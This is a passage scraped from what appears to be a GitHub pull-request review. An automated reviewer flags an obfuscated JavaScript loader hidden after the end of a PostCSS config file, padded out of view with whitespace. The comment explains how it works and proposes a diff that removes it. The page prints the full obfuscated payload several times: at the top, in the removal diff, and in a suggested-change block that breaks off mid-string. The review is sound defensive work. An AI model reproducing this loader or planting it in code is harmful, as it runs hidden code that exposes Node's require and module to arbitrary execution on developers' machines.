e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
}; global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

🚨 CRITICAL: Malicious code injection detected - DO NOT MERGE

This line contains obfuscated JavaScript code hidden after the legitimate config closing }; with ~300+ whitespace characters. This exhibits classic characteristics of a supply chain attack or malicious commit:

  1. Payload concealment: Excessive whitespace pushes malicious code off-screen in most editors
  2. String obfuscation: _$_1e42 function uses character shuffling to decode hidden strings
  3. Global scope pollution: Exposes Node's require and module globally (global[_$_1e42[0]]= require)
  4. Immediate execution: IIFE executes arbitrary obfuscated code when the config loads

This code is completely unrelated to the PR objectives (settings id-keyed dependencies) and should not be present in a PostCSS configuration file.

Immediate actions required:

  1. Do not merge this PR
  2. Revert this file to its previous clean state
  3. Investigate how this code was introduced (compromised dependencies, malicious commit, etc.)
  4. Audit other files in this PR and recent commits for similar injections
  5. Check if the author's credentials may have been compromised
🔒 Proposed fix
-};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9  9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;`@oRR`(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(`#e`=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+};
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
}; global['!']='9-4676-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 